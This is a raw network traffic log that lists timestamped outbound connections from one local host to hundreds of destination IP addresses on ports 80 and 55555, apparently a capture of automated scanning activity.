Mar 21, 2024 05:21:47.397452116 CET	52016	80	192.168.2.13	100.238.233.69
Mar 21, 2024 05:21:47.397452116 CET	50992	80	192.168.2.13	250.152.167.68
Mar 21, 2024 05:21:47.397452116 CET	52016	80	192.168.2.13	220.99.189.144
Mar 21, 2024 05:21:47.397453070 CET	52016	80	192.168.2.13	80.31.166.15
Mar 21, 2024 05:21:47.397453070 CET	52016	80	192.168.2.13	172.213.73.200
Mar 21, 2024 05:21:47.397453070 CET	50992	80	192.168.2.13	187.45.216.68
Mar 21, 2024 05:21:47.397453070 CET	50992	80	192.168.2.13	203.23.129.83
Mar 21, 2024 05:21:47.397453070 CET	52016	80	192.168.2.13	163.189.242.54
Mar 21, 2024 05:21:47.397453070 CET	52016	80	192.168.2.13	63.215.121.33
Mar 21, 2024 05:21:47.397469044 CET	50992	80	192.168.2.13	18.203.188.198
Mar 21, 2024 05:21:47.397469044 CET	52016	80	192.168.2.13	186.255.231.62
Mar 21, 2024 05:21:47.397469044 CET	52016	80	192.168.2.13	149.207.225.122
Mar 21, 2024 05:21:47.397469044 CET	50992	80	192.168.2.13	12.62.207.79
Mar 21, 2024 05:21:47.397469044 CET	52016	80	192.168.2.13	155.190.230.153
Mar 21, 2024 05:21:47.397469044 CET	52016	80	192.168.2.13	221.143.171.195
Mar 21, 2024 05:21:47.397469044 CET	52016	80	192.168.2.13	51.136.161.190
Mar 21, 2024 05:21:47.397469044 CET	50992	80	192.168.2.13	59.168.236.74
Mar 21, 2024 05:21:47.397481918 CET	52016	80	192.168.2.13	48.185.160.118
Mar 21, 2024 05:21:47.397481918 CET	50992	80	192.168.2.13	181.166.208.3
Mar 21, 2024 05:21:47.397481918 CET	52016	80	192.168.2.13	195.37.170.200
Mar 21, 2024 05:21:47.397481918 CET	50992	80	192.168.2.13	103.203.38.102
Mar 21, 2024 05:21:47.397481918 CET	50992	80	192.168.2.13	199.29.41.144
Mar 21, 2024 05:21:47.397481918 CET	52016	80	192.168.2.13	203.94.40.8
Mar 21, 2024 05:21:47.397481918 CET	50992	80	192.168.2.13	147.98.35.184
Mar 21, 2024 05:21:47.397481918 CET	52016	80	192.168.2.13	118.42.144.218
Mar 21, 2024 05:21:47.397497892 CET	50992	80	192.168.2.13	58.158.205.48
Mar 21, 2024 05:21:47.397497892 CET	52016	80	192.168.2.13	9.94.91.123
Mar 21, 2024 05:21:47.397497892 CET	50992	80	192.168.2.13	167.80.213.116
Mar 21, 2024 05:21:47.397497892 CET	52016	80	192.168.2.13	42.91.168.13
Mar 21, 2024 05:21:47.397497892 CET	50992	80	192.168.2.13	147.241.27.48
Mar 21, 2024 05:21:47.397497892 CET	50992	80	192.168.2.13	221.32.226.98
Mar 21, 2024 05:21:47.397497892 CET	52016	80	192.168.2.13	103.7.46.213
Mar 21, 2024 05:21:47.397497892 CET	50992	80	192.168.2.13	83.30.73.0
Mar 21, 2024 05:21:47.397500038 CET	52016	80	192.168.2.13	14.11.157.170
Mar 21, 2024 05:21:47.397500038 CET	52016	80	192.168.2.13	200.103.127.234
Mar 21, 2024 05:21:47.397500038 CET	52016	80	192.168.2.13	8.101.160.11
Mar 21, 2024 05:21:47.397500038 CET	52016	80	192.168.2.13	90.143.19.51
Mar 21, 2024 05:21:47.397500038 CET	52016	80	192.168.2.13	83.31.242.94
Mar 21, 2024 05:21:47.397500038 CET	52016	80	192.168.2.13	100.22.170.111
Mar 21, 2024 05:21:47.397500038 CET	52016	80	192.168.2.13	109.237.187.210
Mar 21, 2024 05:21:47.397500038 CET	50992	80	192.168.2.13	154.179.237.128
Mar 21, 2024 05:21:47.397511005 CET	52016	80	192.168.2.13	86.98.86.20
Mar 21, 2024 05:21:47.397511005 CET	52016	80	192.168.2.13	211.166.135.243
Mar 21, 2024 05:21:47.397511005 CET	50992	80	192.168.2.13	255.76.158.230
Mar 21, 2024 05:21:47.397511005 CET	52016	80	192.168.2.13	90.84.147.89
Mar 21, 2024 05:21:47.397511005 CET	50992	80	192.168.2.13	149.162.161.15
Mar 21, 2024 05:21:47.397511005 CET	52016	80	192.168.2.13	4.31.12.105
Mar 21, 2024 05:21:47.397511005 CET	50992	80	192.168.2.13	17.37.67.78
Mar 21, 2024 05:21:47.397511005 CET	52016	80	192.168.2.13	124.218.64.97
Mar 21, 2024 05:21:47.397521019 CET	52016	80	192.168.2.13	95.6.97.187
Mar 21, 2024 05:21:47.397521019 CET	50992	80	192.168.2.13	96.228.219.50
Mar 21, 2024 05:21:47.397521019 CET	52016	80	192.168.2.13	124.173.148.34
Mar 21, 2024 05:21:47.397521019 CET	50992	80	192.168.2.13	61.169.245.93
Mar 21, 2024 05:21:47.397521019 CET	52016	80	192.168.2.13	76.16.103.133
Mar 21, 2024 05:21:47.397521019 CET	52016	80	192.168.2.13	198.211.61.155
Mar 21, 2024 05:21:47.397521019 CET	52016	80	192.168.2.13	24.103.174.188
Mar 21, 2024 05:21:47.397521973 CET	52016	80	192.168.2.13	211.173.198.133
Mar 21, 2024 05:21:47.397572041 CET	52016	80	192.168.2.13	174.53.178.62
Mar 21, 2024 05:21:47.397572041 CET	52016	80	192.168.2.13	128.221.164.167
Mar 21, 2024 05:21:47.397572041 CET	50992	80	192.168.2.13	214.35.143.97
Mar 21, 2024 05:21:47.397572041 CET	52016	80	192.168.2.13	186.188.171.211
Mar 21, 2024 05:21:47.397572041 CET	50992	80	192.168.2.13	132.98.26.181
Mar 21, 2024 05:21:47.397572041 CET	52016	80	192.168.2.13	156.161.58.131
Mar 21, 2024 05:21:47.397572041 CET	52016	80	192.168.2.13	219.40.1.87
Mar 21, 2024 05:21:47.397572041 CET	50992	80	192.168.2.13	124.160.97.238
Mar 21, 2024 05:21:47.397586107 CET	52016	80	192.168.2.13	138.168.86.242
Mar 21, 2024 05:21:47.397586107 CET	52016	80	192.168.2.13	74.191.67.73
Mar 21, 2024 05:21:47.397586107 CET	50992	80	192.168.2.13	139.240.140.211
Mar 21, 2024 05:21:47.397586107 CET	52016	80	192.168.2.13	174.89.26.108
Mar 21, 2024 05:21:47.397586107 CET	52016	80	192.168.2.13	76.24.127.154
Mar 21, 2024 05:21:47.397586107 CET	52016	80	192.168.2.13	129.128.32.30
Mar 21, 2024 05:21:47.397586107 CET	50992	80	192.168.2.13	71.165.18.173
Mar 21, 2024 05:21:47.397586107 CET	52016	80	192.168.2.13	73.184.62.48
Mar 21, 2024 05:21:47.397591114 CET	50992	80	192.168.2.13	181.235.69.131
Mar 21, 2024 05:21:47.397591114 CET	50992	80	192.168.2.13	152.120.55.199
Mar 21, 2024 05:21:47.397591114 CET	52016	80	192.168.2.13	201.13.130.162
Mar 21, 2024 05:21:47.397592068 CET	50992	80	192.168.2.13	179.237.126.16
Mar 21, 2024 05:21:47.397591114 CET	52016	80	192.168.2.13	120.6.96.161
Mar 21, 2024 05:21:47.397592068 CET	52016	80	192.168.2.13	188.126.249.123
Mar 21, 2024 05:21:47.397591114 CET	52016	80	192.168.2.13	186.45.235.136
Mar 21, 2024 05:21:47.397592068 CET	52016	80	192.168.2.13	63.95.31.211
Mar 21, 2024 05:21:47.397591114 CET	52016	80	192.168.2.13	81.124.94.220
Mar 21, 2024 05:21:47.397592068 CET	52016	80	192.168.2.13	43.226.77.110
Mar 21, 2024 05:21:47.397591114 CET	52016	80	192.168.2.13	125.81.193.233
Mar 21, 2024 05:21:47.397592068 CET	52016	80	192.168.2.13	199.75.4.235
Mar 21, 2024 05:21:47.397592068 CET	50992	80	192.168.2.13	205.199.128.160
Mar 21, 2024 05:21:47.397591114 CET	52016	80	192.168.2.13	158.76.225.146
Mar 21, 2024 05:21:47.397592068 CET	52016	80	192.168.2.13	205.38.194.21
Mar 21, 2024 05:21:47.397591114 CET	50992	80	192.168.2.13	135.116.97.251
Mar 21, 2024 05:21:47.397595882 CET	50992	80	192.168.2.13	22.175.174.214
Mar 21, 2024 05:21:47.397595882 CET	50992	80	192.168.2.13	40.178.27.28
Mar 21, 2024 05:21:47.397595882 CET	52016	80	192.168.2.13	207.44.170.89
Mar 21, 2024 05:21:47.397595882 CET	52016	80	192.168.2.13	183.147.70.10
Mar 21, 2024 05:21:47.397595882 CET	52016	80	192.168.2.13	64.231.188.46
Mar 21, 2024 05:21:47.397595882 CET	50992	80	192.168.2.13	78.5.100.98
Mar 21, 2024 05:21:47.397595882 CET	50992	80	192.168.2.13	4.134.75.235
Mar 21, 2024 05:21:47.397595882 CET	50992	80	192.168.2.13	100.41.170.144
Mar 21, 2024 05:21:47.397623062 CET	50992	80	192.168.2.13	160.30.206.116
Mar 21, 2024 05:21:47.397623062 CET	52016	80	192.168.2.13	63.2.111.213
Mar 21, 2024 05:21:47.397623062 CET	52016	80	192.168.2.13	184.6.196.110
Mar 21, 2024 05:21:47.397623062 CET	52016	80	192.168.2.13	53.2.219.24
Mar 21, 2024 05:21:47.397623062 CET	52016	80	192.168.2.13	4.127.126.16
Mar 21, 2024 05:21:47.397623062 CET	50992	80	192.168.2.13	38.20.220.157
Mar 21, 2024 05:21:47.397623062 CET	50992	80	192.168.2.13	102.93.92.168
Mar 21, 2024 05:21:47.397623062 CET	52016	80	192.168.2.13	194.136.93.253
Mar 21, 2024 05:21:47.397623062 CET	50992	80	192.168.2.13	8.28.252.108
Mar 21, 2024 05:21:47.397623062 CET	52016	80	192.168.2.13	86.240.90.2
Mar 21, 2024 05:21:47.397623062 CET	50992	80	192.168.2.13	222.174.7.224
Mar 21, 2024 05:21:47.397623062 CET	50992	80	192.168.2.13	163.47.17.98
Mar 21, 2024 05:21:47.397623062 CET	50992	80	192.168.2.13	38.213.143.65
Mar 21, 2024 05:21:47.397623062 CET	50992	80	192.168.2.13	251.232.157.74
Mar 21, 2024 05:21:47.397650957 CET	52016	80	192.168.2.13	94.172.137.218
Mar 21, 2024 05:21:47.397650957 CET	50992	80	192.168.2.13	27.26.243.202
Mar 21, 2024 05:21:47.397650957 CET	50992	80	192.168.2.13	96.145.252.234
Mar 21, 2024 05:21:47.397650957 CET	50992	80	192.168.2.13	241.190.201.122
Mar 21, 2024 05:21:47.397650957 CET	50992	80	192.168.2.13	90.64.219.129
Mar 21, 2024 05:21:47.397650957 CET	50992	80	192.168.2.13	57.16.211.206
Mar 21, 2024 05:21:47.397692919 CET	50992	80	192.168.2.13	56.174.65.114
Mar 21, 2024 05:21:47.397692919 CET	50992	80	192.168.2.13	5.145.22.47
Mar 21, 2024 05:21:47.397692919 CET	50992	80	192.168.2.13	148.238.10.120
Mar 21, 2024 05:21:47.397692919 CET	50992	80	192.168.2.13	150.81.145.94
Mar 21, 2024 05:21:47.397692919 CET	50992	80	192.168.2.13	4.65.195.166
Mar 21, 2024 05:21:47.397694111 CET	50992	80	192.168.2.13	108.51.182.197
Mar 21, 2024 05:21:47.397708893 CET	52016	80	192.168.2.13	208.6.245.22
Mar 21, 2024 05:21:47.397708893 CET	50992	80	192.168.2.13	39.155.133.35
Mar 21, 2024 05:21:47.397708893 CET	50992	80	192.168.2.13	82.26.217.163
Mar 21, 2024 05:21:47.397710085 CET	50992	80	192.168.2.13	72.124.109.245
Mar 21, 2024 05:21:47.397708893 CET	50992	80	192.168.2.13	161.188.40.121
Mar 21, 2024 05:21:47.397708893 CET	50992	80	192.168.2.13	184.7.38.250
Mar 21, 2024 05:21:47.397710085 CET	50992	80	192.168.2.13	219.47.86.72
Mar 21, 2024 05:21:47.397708893 CET	50992	80	192.168.2.13	28.153.13.132
Mar 21, 2024 05:21:47.397708893 CET	50992	80	192.168.2.13	40.89.224.70
Mar 21, 2024 05:21:47.397708893 CET	50992	80	192.168.2.13	92.110.126.191
Mar 21, 2024 05:21:47.397716045 CET	50992	80	192.168.2.13	129.48.196.230
Mar 21, 2024 05:21:47.397716045 CET	50992	80	192.168.2.13	117.20.212.200
Mar 21, 2024 05:21:47.397716045 CET	50992	80	192.168.2.13	120.135.8.64
Mar 21, 2024 05:21:47.397716045 CET	50992	80	192.168.2.13	217.111.244.195
Mar 21, 2024 05:21:47.397716045 CET	50992	80	192.168.2.13	167.119.5.157
Mar 21, 2024 05:21:47.397716045 CET	50992	80	192.168.2.13	94.67.137.44
Mar 21, 2024 05:21:47.397721052 CET	52016	80	192.168.2.13	9.195.15.189
Mar 21, 2024 05:21:47.397721052 CET	52016	80	192.168.2.13	167.34.241.129
Mar 21, 2024 05:21:47.397721052 CET	52016	80	192.168.2.13	112.219.130.72
Mar 21, 2024 05:21:47.397721052 CET	52016	80	192.168.2.13	145.52.190.27
Mar 21, 2024 05:21:47.397722960 CET	50992	80	192.168.2.13	100.224.184.209
Mar 21, 2024 05:21:47.397721052 CET	50992	80	192.168.2.13	181.226.120.121
Mar 21, 2024 05:21:47.397722960 CET	50992	80	192.168.2.13	71.231.211.161
Mar 21, 2024 05:21:47.397721052 CET	52016	80	192.168.2.13	152.40.240.153
Mar 21, 2024 05:21:47.397725105 CET	50992	80	192.168.2.13	19.121.115.172
Mar 21, 2024 05:21:47.397721052 CET	52016	80	192.168.2.13	27.107.189.205
Mar 21, 2024 05:21:47.397725105 CET	52016	80	192.168.2.13	32.143.10.97
Mar 21, 2024 05:21:47.397722960 CET	50992	80	192.168.2.13	96.154.176.51
Mar 21, 2024 05:21:47.397721052 CET	52016	80	192.168.2.13	68.111.126.112
Mar 21, 2024 05:21:47.397725105 CET	52016	80	192.168.2.13	186.220.205.169
Mar 21, 2024 05:21:47.397722960 CET	50992	80	192.168.2.13	255.229.140.7
Mar 21, 2024 05:21:47.397725105 CET	50992	80	192.168.2.13	48.82.96.55
Mar 21, 2024 05:21:47.397722960 CET	50992	80	192.168.2.13	68.95.216.248
Mar 21, 2024 05:21:47.397725105 CET	50992	80	192.168.2.13	111.74.171.40
Mar 21, 2024 05:21:47.397722960 CET	50992	80	192.168.2.13	46.24.195.234
Mar 21, 2024 05:21:47.397725105 CET	50992	80	192.168.2.13	47.60.235.235
Mar 21, 2024 05:21:47.397722960 CET	50992	80	192.168.2.13	54.181.129.255
Mar 21, 2024 05:21:47.397725105 CET	50992	80	192.168.2.13	171.48.8.199
Mar 21, 2024 05:21:47.397725105 CET	50992	80	192.168.2.13	162.185.175.133
Mar 21, 2024 05:21:47.397754908 CET	50992	80	192.168.2.13	49.134.2.121
Mar 21, 2024 05:21:47.397761106 CET	50992	80	192.168.2.13	148.133.90.65
Mar 21, 2024 05:21:47.397768974 CET	50992	80	192.168.2.13	164.109.110.225
Mar 21, 2024 05:21:47.397769928 CET	52016	80	192.168.2.13	171.1.46.56
Mar 21, 2024 05:21:47.397768974 CET	50992	80	192.168.2.13	49.187.134.46
Mar 21, 2024 05:21:47.397769928 CET	50992	80	192.168.2.13	120.195.88.53
Mar 21, 2024 05:21:47.397769928 CET	52016	80	192.168.2.13	152.63.2.193
Mar 21, 2024 05:21:47.397769928 CET	52016	80	192.168.2.13	153.151.91.97
Mar 21, 2024 05:21:47.397769928 CET	52016	80	192.168.2.13	175.13.119.171
Mar 21, 2024 05:21:47.397769928 CET	50992	80	192.168.2.13	157.39.145.205
Mar 21, 2024 05:21:47.397769928 CET	50992	80	192.168.2.13	170.74.30.185
Mar 21, 2024 05:21:47.397769928 CET	50992	80	192.168.2.13	30.24.35.61
Mar 21, 2024 05:21:47.397784948 CET	50992	80	192.168.2.13	114.237.126.196
Mar 21, 2024 05:21:47.397789001 CET	50992	80	192.168.2.13	179.37.113.99
Mar 21, 2024 05:21:47.397789001 CET	50992	80	192.168.2.13	14.143.190.193
Mar 21, 2024 05:21:47.397797108 CET	50992	80	192.168.2.13	87.115.119.209
Mar 21, 2024 05:21:47.397797108 CET	50992	80	192.168.2.13	153.192.187.92
Mar 21, 2024 05:21:47.397797108 CET	50992	80	192.168.2.13	245.182.66.23
Mar 21, 2024 05:21:47.397797108 CET	50992	80	192.168.2.13	158.39.196.117
Mar 21, 2024 05:21:47.397797108 CET	50992	80	192.168.2.13	219.28.111.185
Mar 21, 2024 05:21:47.397797108 CET	50992	80	192.168.2.13	126.113.86.71
Mar 21, 2024 05:21:47.397799969 CET	50992	80	192.168.2.13	247.168.186.109
Mar 21, 2024 05:21:47.397799969 CET	50992	80	192.168.2.13	173.249.63.101
Mar 21, 2024 05:21:47.397799969 CET	50992	80	192.168.2.13	71.127.67.204
Mar 21, 2024 05:21:47.397799969 CET	50992	80	192.168.2.13	187.161.100.114
Mar 21, 2024 05:21:47.397804022 CET	50992	80	192.168.2.13	9.173.110.187
Mar 21, 2024 05:21:47.397804976 CET	52016	80	192.168.2.13	92.129.132.18
Mar 21, 2024 05:21:47.397804976 CET	50992	80	192.168.2.13	72.100.137.138
Mar 21, 2024 05:21:47.397804976 CET	50992	80	192.168.2.13	147.47.207.119
Mar 21, 2024 05:21:47.397804976 CET	52016	80	192.168.2.13	45.68.27.144
Mar 21, 2024 05:21:47.397804976 CET	50992	80	192.168.2.13	112.207.168.42
Mar 21, 2024 05:21:47.397804976 CET	50992	80	192.168.2.13	169.49.145.60
Mar 21, 2024 05:21:47.397804976 CET	50992	80	192.168.2.13	35.76.162.192
Mar 21, 2024 05:21:47.397821903 CET	50992	80	192.168.2.13	159.66.225.214
Mar 21, 2024 05:21:47.397821903 CET	50992	80	192.168.2.13	255.179.244.221
Mar 21, 2024 05:21:47.397823095 CET	50992	80	192.168.2.13	62.209.232.207
Mar 21, 2024 05:21:47.397823095 CET	50992	80	192.168.2.13	130.120.218.74
Mar 21, 2024 05:21:47.397829056 CET	50992	80	192.168.2.13	24.54.205.127
Mar 21, 2024 05:21:47.397830963 CET	50992	80	192.168.2.13	193.138.97.142
Mar 21, 2024 05:21:47.397830963 CET	50992	80	192.168.2.13	35.8.154.216
Mar 21, 2024 05:21:47.397834063 CET	50992	80	192.168.2.13	38.93.124.146
Mar 21, 2024 05:21:47.397841930 CET	50992	80	192.168.2.13	126.50.89.127
Mar 21, 2024 05:21:47.397841930 CET	50992	80	192.168.2.13	161.107.187.34
Mar 21, 2024 05:21:47.397850037 CET	50992	80	192.168.2.13	125.93.105.151
Mar 21, 2024 05:21:47.397861004 CET	50992	80	192.168.2.13	166.209.76.85
Mar 21, 2024 05:21:47.397861958 CET	50992	80	192.168.2.13	184.62.73.184
Mar 21, 2024 05:21:47.397867918 CET	50992	80	192.168.2.13	255.218.202.46
Mar 21, 2024 05:21:47.397869110 CET	50992	80	192.168.2.13	150.115.213.246
Mar 21, 2024 05:21:47.397870064 CET	50992	80	192.168.2.13	214.91.8.206
Mar 21, 2024 05:21:47.397869110 CET	50992	80	192.168.2.13	158.6.159.235
Mar 21, 2024 05:21:47.397869110 CET	50992	80	192.168.2.13	217.4.102.145
Mar 21, 2024 05:21:47.397869110 CET	50992	80	192.168.2.13	140.177.57.124
Mar 21, 2024 05:21:47.397869110 CET	50992	80	192.168.2.13	117.125.143.232
Mar 21, 2024 05:21:47.397869110 CET	50992	80	192.168.2.13	209.71.45.161
Mar 21, 2024 05:21:47.397878885 CET	50992	80	192.168.2.13	23.44.60.178
Mar 21, 2024 05:21:47.397878885 CET	50992	80	192.168.2.13	99.109.194.16
Mar 21, 2024 05:21:47.397896051 CET	50992	80	192.168.2.13	251.83.18.77
Mar 21, 2024 05:21:47.397898912 CET	50992	80	192.168.2.13	22.27.239.159
Mar 21, 2024 05:21:47.397902966 CET	50992	80	192.168.2.13	111.49.122.113
Mar 21, 2024 05:21:47.397907972 CET	50992	80	192.168.2.13	223.231.179.46
Mar 21, 2024 05:21:47.397912979 CET	50992	80	192.168.2.13	84.109.249.86
Mar 21, 2024 05:21:47.397917986 CET	50992	80	192.168.2.13	17.103.203.3
Mar 21, 2024 05:21:47.397921085 CET	50992	80	192.168.2.13	45.205.19.76
Mar 21, 2024 05:21:47.397921085 CET	50992	80	192.168.2.13	223.52.218.163
Mar 21, 2024 05:21:47.397924900 CET	50992	80	192.168.2.13	89.215.11.25
Mar 21, 2024 05:21:47.397927046 CET	50992	80	192.168.2.13	92.140.30.76
Mar 21, 2024 05:21:47.397937059 CET	50992	80	192.168.2.13	84.29.22.197
Mar 21, 2024 05:21:47.397939920 CET	50992	80	192.168.2.13	95.66.34.93
Mar 21, 2024 05:21:47.397952080 CET	50992	80	192.168.2.13	223.83.28.90
Mar 21, 2024 05:21:47.397953033 CET	50992	80	192.168.2.13	118.70.245.6
Mar 21, 2024 05:21:47.397953033 CET	50992	80	192.168.2.13	4.99.99.57
Mar 21, 2024 05:21:47.397969961 CET	50992	80	192.168.2.13	196.197.167.81
Mar 21, 2024 05:21:47.397969961 CET	50992	80	192.168.2.13	4.34.177.138
Mar 21, 2024 05:21:47.397984982 CET	50992	80	192.168.2.13	135.33.29.30
Mar 21, 2024 05:21:47.398013115 CET	50992	80	192.168.2.13	112.121.252.167
Mar 21, 2024 05:21:47.398015022 CET	50992	80	192.168.2.13	40.137.29.227
Mar 21, 2024 05:21:47.398016930 CET	50992	80	192.168.2.13	118.212.141.96
Mar 21, 2024 05:21:47.398016930 CET	50992	80	192.168.2.13	153.170.120.152
Mar 21, 2024 05:21:47.398019075 CET	50992	80	192.168.2.13	111.34.112.75
Mar 21, 2024 05:21:47.398031950 CET	50992	80	192.168.2.13	244.211.72.157
Mar 21, 2024 05:21:47.398032904 CET	50992	80	192.168.2.13	155.26.172.245
Mar 21, 2024 05:21:47.398032904 CET	50992	80	192.168.2.13	28.124.113.145
Mar 21, 2024 05:21:47.398051023 CET	50992	80	192.168.2.13	178.143.85.74
Mar 21, 2024 05:21:47.398051023 CET	50992	80	192.168.2.13	23.200.225.201
Mar 21, 2024 05:21:47.398051023 CET	50992	80	192.168.2.13	212.180.20.139
Mar 21, 2024 05:21:47.398070097 CET	50992	80	192.168.2.13	68.247.144.53
Mar 21, 2024 05:21:47.398070097 CET	50992	80	192.168.2.13	170.100.247.83
Mar 21, 2024 05:21:47.398077011 CET	50992	80	192.168.2.13	250.116.25.162
Mar 21, 2024 05:21:47.398094893 CET	50992	80	192.168.2.13	158.246.250.237
Mar 21, 2024 05:21:47.398094893 CET	50992	80	192.168.2.13	138.45.223.60
Mar 21, 2024 05:21:47.398101091 CET	50992	80	192.168.2.13	138.97.26.152
Mar 21, 2024 05:21:47.398108959 CET	50992	80	192.168.2.13	210.240.235.3
Mar 21, 2024 05:21:47.398114920 CET	50992	80	192.168.2.13	16.154.94.161
Mar 21, 2024 05:21:47.398117065 CET	50992	80	192.168.2.13	56.156.207.57
Mar 21, 2024 05:21:47.398117065 CET	50992	80	192.168.2.13	193.175.217.74
Mar 21, 2024 05:21:47.398127079 CET	50992	80	192.168.2.13	149.237.52.158
Mar 21, 2024 05:21:47.398129940 CET	50992	80	192.168.2.13	97.79.217.23
Mar 21, 2024 05:21:47.398139954 CET	50992	80	192.168.2.13	148.121.228.9
Mar 21, 2024 05:21:47.398140907 CET	50992	80	192.168.2.13	126.27.208.142
Mar 21, 2024 05:21:47.398143053 CET	50992	80	192.168.2.13	212.188.94.191
Mar 21, 2024 05:21:47.398152113 CET	51760	55555	192.168.2.13	98.132.177.104
Mar 21, 2024 05:21:47.398152113 CET	51760	55555	192.168.2.13	98.22.48.65
Mar 21, 2024 05:21:47.398152113 CET	51760	55555	192.168.2.13	98.117.43.175
Mar 21, 2024 05:21:47.398154974 CET	51760	55555	192.168.2.13	184.184.175.252
Mar 21, 2024 05:21:47.398159981 CET	51760	55555	192.168.2.13	172.194.91.116
Mar 21, 2024 05:21:47.398164988 CET	51760	55555	192.168.2.13	98.59.87.105
Mar 21, 2024 05:21:47.398164988 CET	50992	80	192.168.2.13	116.203.121.157
Mar 21, 2024 05:21:47.398180008 CET	51760	55555	192.168.2.13	98.238.206.171
Mar 21, 2024 05:21:47.398180008 CET	51760	55555	192.168.2.13	172.106.72.55
Mar 21, 2024 05:21:47.398180008 CET	51760	55555	192.168.2.13	172.140.36.31
Mar 21, 2024 05:21:47.398190975 CET	51760	55555	192.168.2.13	98.87.228.205
Mar 21, 2024 05:21:47.398190975 CET	51760	55555	192.168.2.13	184.23.128.131
Mar 21, 2024 05:21:47.398191929 CET	51760	55555	192.168.2.13	98.81.147.151
Mar 21, 2024 05:21:47.398192883 CET	50992	80	192.168.2.13	59.181.234.129
Mar 21, 2024 05:21:47.398192883 CET	50992	80	192.168.2.13	187.11.89.160
Mar 21, 2024 05:21:47.398192883 CET	51760	55555	192.168.2.13	98.90.28.114
Mar 21, 2024 05:21:47.398196936 CET	51760	55555	192.168.2.13	184.157.6.72
Mar 21, 2024 05:21:47.398196936 CET	51760	55555	192.168.2.13	184.12.252.136
Mar 21, 2024 05:21:47.398200989 CET	51760	55555	192.168.2.13	98.153.128.72
Mar 21, 2024 05:21:47.398205042 CET	51760	55555	192.168.2.13	98.48.119.25
Mar 21, 2024 05:21:47.398205042 CET	51760	55555	192.168.2.13	98.159.161.102
Mar 21, 2024 05:21:47.398216963 CET	51760	55555	192.168.2.13	172.15.20.220
Mar 21, 2024 05:21:47.398224115 CET	51760	55555	192.168.2.13	184.91.219.167
Mar 21, 2024 05:21:47.398224115 CET	50992	80	192.168.2.13	205.21.57.135
Mar 21, 2024 05:21:47.398224115 CET	51760	55555	192.168.2.13	172.115.222.100
Mar 21, 2024 05:21:47.398227930 CET	51760	55555	192.168.2.13	184.216.182.115
Mar 21, 2024 05:21:47.398227930 CET	51760	55555	192.168.2.13	184.171.54.27
Mar 21, 2024 05:21:47.398231030 CET	50992	80	192.168.2.13	72.4.214.137
Mar 21, 2024 05:21:47.398231983 CET	51760	55555	192.168.2.13	172.193.1.71
Mar 21, 2024 05:21:47.398231030 CET	51760	55555	192.168.2.13	98.193.29.32
Mar 21, 2024 05:21:47.398231030 CET	51760	55555	192.168.2.13	98.154.132.71
Mar 21, 2024 05:21:47.398231983 CET	51760	55555	192.168.2.13	184.36.67.187
Mar 21, 2024 05:21:47.398231983 CET	50992	80	192.168.2.13	23.138.13.228
Mar 21, 2024 05:21:47.398243904 CET	51760	55555	192.168.2.13	184.148.214.110
Mar 21, 2024 05:21:47.398243904 CET	50992	80	192.168.2.13	141.53.12.184
Mar 21, 2024 05:21:47.398252964 CET	51760	55555	192.168.2.13	172.233.16.126
Mar 21, 2024 05:21:47.398252964 CET	50992	80	192.168.2.13	6.204.11.94
Mar 21, 2024 05:21:47.398252964 CET	51760	55555	192.168.2.13	98.194.162.167
Mar 21, 2024 05:21:47.398256063 CET	50992	80	192.168.2.13	111.97.58.100
Mar 21, 2024 05:21:47.398262024 CET	51760	55555	192.168.2.13	172.2.108.129
Mar 21, 2024 05:21:47.398262024 CET	50992	80	192.168.2.13	174.85.13.71
Mar 21, 2024 05:21:47.398263931 CET	51760	55555	192.168.2.13	184.218.151.40
Mar 21, 2024 05:21:47.398263931 CET	50992	80	192.168.2.13	203.65.49.81
Mar 21, 2024 05:21:47.398266077 CET	50992	80	192.168.2.13	140.244.27.114
Mar 21, 2024 05:21:47.398273945 CET	51760	55555	192.168.2.13	98.109.191.124
Mar 21, 2024 05:21:47.398273945 CET	50992	80	192.168.2.13	247.68.6.79
Mar 21, 2024 05:21:47.398277998 CET	51760	55555	192.168.2.13	98.234.209.121
Mar 21, 2024 05:21:47.398279905 CET	51760	55555	192.168.2.13	172.166.70.176
Mar 21, 2024 05:21:47.398279905 CET	51760	55555	192.168.2.13	172.233.110.221
Mar 21, 2024 05:21:47.398281097 CET	51760	55555	192.168.2.13	172.255.21.84
Mar 21, 2024 05:21:47.398279905 CET	51760	55555	192.168.2.13	184.103.24.223
Mar 21, 2024 05:21:47.398279905 CET	51760	55555	192.168.2.13	98.76.107.105
Mar 21, 2024 05:21:47.398281097 CET	51760	55555	192.168.2.13	184.71.237.239
Mar 21, 2024 05:21:47.398281097 CET	50992	80	192.168.2.13	176.232.190.244
Mar 21, 2024 05:21:47.398281097 CET	50992	80	192.168.2.13	26.77.1.181
Mar 21, 2024 05:21:47.398281097 CET	51760	55555	192.168.2.13	172.76.88.146
Mar 21, 2024 05:21:47.398281097 CET	51760	55555	192.168.2.13	184.92.107.88
Mar 21, 2024 05:21:47.398286104 CET	51760	55555	192.168.2.13	98.49.134.95
Mar 21, 2024 05:21:47.398286104 CET	51760	55555	192.168.2.13	98.216.128.19
Mar 21, 2024 05:21:47.398286104 CET	51760	55555	192.168.2.13	172.69.239.76
Mar 21, 2024 05:21:47.398294926 CET	51760	55555	192.168.2.13	184.18.250.55
Mar 21, 2024 05:21:47.398294926 CET	51760	55555	192.168.2.13	184.16.106.137
Mar 21, 2024 05:21:47.398297071 CET	51760	55555	192.168.2.13	172.98.47.55
Mar 21, 2024 05:21:47.398297071 CET	51760	55555	192.168.2.13	184.107.216.167
Mar 21, 2024 05:21:47.398305893 CET	51760	55555	192.168.2.13	172.98.227.255
Mar 21, 2024 05:21:47.398312092 CET	50992	80	192.168.2.13	209.97.133.180
Mar 21, 2024 05:21:47.398312092 CET	50992	80	192.168.2.13	47.181.51.188
Mar 21, 2024 05:21:47.398320913 CET	51760	55555	192.168.2.13	98.68.219.217
Mar 21, 2024 05:21:47.398324013 CET	50992	80	192.168.2.13	9.150.17.104
Mar 21, 2024 05:21:47.398332119 CET	50992	80	192.168.2.13	171.72.144.84
Mar 21, 2024 05:21:47.398334026 CET	51760	55555	192.168.2.13	184.226.11.111
Mar 21, 2024 05:21:47.398334980 CET	51760	55555	192.168.2.13	184.127.110.93
Mar 21, 2024 05:21:47.398340940 CET	51760	55555	192.168.2.13	184.54.211.167
Mar 21, 2024 05:21:47.398340940 CET	50992	80	192.168.2.13	98.254.104.115
Mar 21, 2024 05:21:47.398343086 CET	51760	55555	192.168.2.13	172.19.20.150
Mar 21, 2024 05:21:47.398340940 CET	51760	55555	192.168.2.13	98.24.247.225
Mar 21, 2024 05:21:47.398343086 CET	50992	80	192.168.2.13	254.3.49.228
